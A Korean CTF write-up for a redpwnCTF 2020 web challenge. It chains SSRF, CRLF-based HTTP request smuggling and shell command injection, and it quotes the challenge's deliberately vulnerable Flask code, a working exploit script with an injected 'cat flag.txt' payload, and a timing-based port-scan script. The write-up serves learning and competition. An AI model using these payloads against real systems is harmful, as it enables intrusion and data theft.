Keyword : SSRF, HTTP Request Smuggling
Web server와 API서버가 주워집니다. Web Server는 외부에서 접근가능한 서버입니다. API Server는 로컬에서만 접속이 가능합니다.
## Command injection vulernalbiliry In Internal API Server
def get_note(nid):
stdout, stderr = subprocess.Popen(f"cat 'notes/{nid}' || echo it did not work btw", shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE).communicate()
if stderr:
print(stderr) # lemonthink
return {}
return {
'success' : True,
'title' : nid,
'contents' : stdout.decode('utf-8', errors = 'ignore')
}
@app.route('/api/v1/notes/', methods = ['GET', 'POST'])
def notes():
ret_val = {'success':True}
title = request.values['title']
if 'contents' not in request.values: # reading note
note = get_note(str(title)[:0xff])
ret_val.update(note)
else: # writing note
contents = request.values['contents']
ret_val.update(write_note(str(title)[:0xff], str(contents)))
API server에 Command Injection 취약점이 존재합니다.
def get(nid, port = None):
_host = API_HOST.format(port = port)
json = jason
note = json.loads(str(requests.post(_host + '/api/v1/notes/', data = {
'title' : nid
}, headers = {
'Authorization' : ' '.join(['his name', 'is', 'john connor']), # obfuscate because our penetration test report said that hardocded secrets BAD
'Connection' : 'close'
}).text) or '{}') # url encoding is for noobs
if note.get('success'):
note['links'] = [x[0] for x in REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.findall(r'(https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*))', note['contents'])]
####print('got note', nid, ' : ', note)
return note
Web Server에서 '와 "을 필터링합니다. 따라서 command injection 취약점을 공격하기 위해서는 Web Server의 필터링 로직을 거치지 않고 API Sever에 요청을 보내야 합니다.
## SSRF to request internal API server
@app.route('/check-links', methods = ['POST'])
def check_post():
# check for broken links
ret_val = dict()
links = request.form.get('links')
if isinstance(links, str):
links = [links]
for link in links:
ret_val[link] = Note.check_link(link)
return ret_val # :pepega:
def check_link(link):
# XXX: we only support http links at the moment :(
# XXX: what if someone wants to use domain spoofing characters? we don't support that...
r = re.match(r'http://([^:]+)(:\d*)?(/.*)?', link, flags = 26)
if not r:
print('no bad link!!!', link)
return False
host, port, path = r.groups()
ip = None
try:
# :thonkeng:
ip = socket.gethostbyname(host)
except:
ip = host
pass # eh we just want ip it doesnt really matter ig since it will be validated in next step
# validate host
try:
# XXX: ipv6 and ipv8 support
ip = re.match(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})', ip).__getattribute__('groups')()[0]
except Exception as PYTHON_SUCKS:
print(PYTHON_SUCKS)
print(host)
print('bad ip address')
return False
# XXX: I CANT FIGURE OUT HOW TO MAKE HTTP HEAD REQUESTS FROM THE requests LIBRARY SO I AM DOING THIS BY MYSELF! DONT MOCK ME FOR """"""""""rEinVENtinG thE WheEL"""""""""".
# :blobpat:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = int(str(port or 80).lstrip(':'))
s.connect((ip, port))
# XXX: this works and i dont know why
# NOTE: there was a bug before where newlines in `path` could make all requests fail. Fixed based on jira ticket RCTF-1231
wef=(b'HEAD ' + (path or '/').replace('\n', '%0A').encode('utf-8') + b' HTTP/1.1\r\nConnection: keep-alive\x0d\nHost: ' + host.encode('utf-8') + b'\r\nUser-Agent: archlinux\r\nAccept: */*\r\n\r\n') # python3 socket library go brrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
print(wef)
s.send(wef)
# XXX: i dont like the above code, it is bad
# XXX: three months later: what does the above comment mean, i forgot
print('waiting')
# give it time to think
import time as angstromCTF
angstromCTF.kevin_higgs=angstromCTF.sleep
angstromCTF.kevin_higgs(1337/300/4)
# XXX: i read in *CODE COMPLETE* that magic numbers are bad TODO explain what this means?
try:
# XXX: idk how sockets work...
s.settimeout(4)
except:
pass
rEspONSe = s.recv(4096)
if b'200 OK' in rEspONSe:
s.close()
return True
s.close()
return False
except Exception as e:
traceback.print_exc()
print(e)
# eh whatever :pepega:
# NOTE: Thanks to the invaluable security research contributions
# from the organizer, ginkoid a critical vulnerability that used
# to exist here is now patched. :pepega: used to be spelled
# :pepaga: ... :sob:
return False
return bool(False)
/check-links 페이지를 통해 SSRF 공격을 수행할 수 있습니다.
r = re.match(r'http://([^:]+)(:\d*)?(/.*)?', link, flags = 26)
host, port, path = r.groups()
ip = socket.gethostbyname(host)
/check-links 페이지에서는 URL을 POST 형식으로 입력받아 host, port, path로 나눕니다. 또한 gethostbyname을 이용하여 IP를 구합니다. 이러한 절차에서 필터링이 없기 때문에 http://127.0.0.1:80/test와 같은 요청을 날려서 내부망에 있는 API Server에 요청을 보낼 수 있습니다.
## HTTP Request Smuggling
wef=(b'HEAD ' + (path or '/').replace('\n', '%0A').encode('utf-8') + b' HTTP/1.1\r\nConnection: keep-alive\x0d\nHost: ' + host.encode('utf-8') + b'\r\nUser-Agent: archlinux\r\nAccept: */*\r\n\r\n')
/check-links 페이지는 주어진 port 번호와 gethostbyname을 통해 얻은 IP에 connect합니다. 그 다음 wef의 내용을 send합니다. send되는 내용 중 path와 HOST header만 수정할 수 있습니다. HOST header는 gethostbyname의 인자로 들어가기 때문에 공격벡터로 적절하지 않아 보입니다. 하지만 2017 Black Hat에서 Orange Tsai가 발표한 "A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!"에서 흥미로운 내용을 발견할 수 있습니다.
Python socket 모듈의 gethostbyname 함수의 인자에 "vaild IP\r\nsome arbitrary data"와 같은 형식의 데이터가 주어진다면 gethostbyname는 "vaild IP"를 return합니다. 따라서 /check-links페이지에 HOST 부분이 조작된 URL을 전송한다면 wef의 HOST header에 임의의 데이터를 입력할 수 있게 됩니다. HOST header에 HTTP 요청을 끝내기 위한 문자열 ('\r\n\r\n')과 새로운 HTTP 요청을 적어서 보낸다면 HEAD 메소드를 이용하는 요청뿐만 아니라 GET를 사용하는 임의의 요청을 밀수하여 API 서버에 전송할 수 있게 됩니다.
import socket
from pwn import *
import subprocess
import re
import requests
host = "127.0.0.1"
data = "title=';cat${IFS}flag.txt>'./notes/JJY"
malformed= '\r\n\r\nGET /api/v1/notes/?%s HTTP/1.1'%(data)
host+= malformed
link = "http://"+host +":backend server port"
tmp = ['curl','-i','-H','"Content-Type: application/x-www-form-urlencoded"','-X', 'POST' ,'http://2020.redpwnc.tf:31957/check-links', '-d' , 'links='+link]
print(link)
result = subprocess.check_output(tmp)
print(result)
## Port scan
#!/usr/bin/env python3
from api import server as api_server
from web import server as web_server
import threading, random
if __name__ == '__main__':
backend_port = random.randint(50000, 51000)
at = threading.Thread(target = api_server.start, args = (backend_port,))
wt = threading.Thread(target = web_server.start, args = (backend_port,))
at.daemon = True
wt.daemon = True
at.start()
wt.start()
at.join()
exit() # something is wrong
wt.join()
exit() # something is wrong
이제 내부망에 임의의 요청을 보낼 수 있게 되었지만, 우리는 API 서버의 PORT를 알 수 없습니다. API 서버의 port는 50000 ~ 51000 사이의 랜덤한 값으로 정해지기 때문입니다. 하지만 /check-links 페이지에서 IP와 port에 연결 성공할 경우 sleep이 있습니다. 따라서 respone이 돌아오는 시간을 측정하여 Backend port를 알아낼 수 있습니다.
from pwn import *
import subprocess
tmp = ['time','curl','-i','-H','"Content-Type: application/x-www-form-urlencoded"','-X', 'POST' ,'http://2020.redpwnc.tf:31957/check-links', '-d' , 'links=http://127.0.0.1:1234/test']
#tmp = ['time','curl','-i','-H','"Content-Type: application/x-www-form-urlencoded"','-X', 'POST' ,'http://localhost:1337/check-links', '-d' , 'links=http://127.0.0.1:1234/test']
port = [0,0]
for x in range(50000,51000):
command =tmp[0:-1] + [tmp[-1].replace('1234',str(x))]
# print(command)
result = subprocess.check_output(command,stderr=subprocess.STDOUT)
result = result.split('\n')[-3]
result = result.split(' ')[2][0:7]
h,s = result.split('.')
h,m = h.split(':')
result = int(h) * 3600 + int(m) * 60 + int(s)
# log.info(result)
if port[1]<result:
log.info('port = %d, time = %d',x,result)
port[0] = x
port[1] = result
print('--------------------')
'WEB' 카테고리의 다른 글
Relative Path Overwrite (0) | 2020.09.15 |
---|---|
Web cache deception attack (0) | 2020.05.27 |
SOP, CORS, CSP (0) | 2020.04.21 |
javascript proto pollution (3) | 2020.03.05 |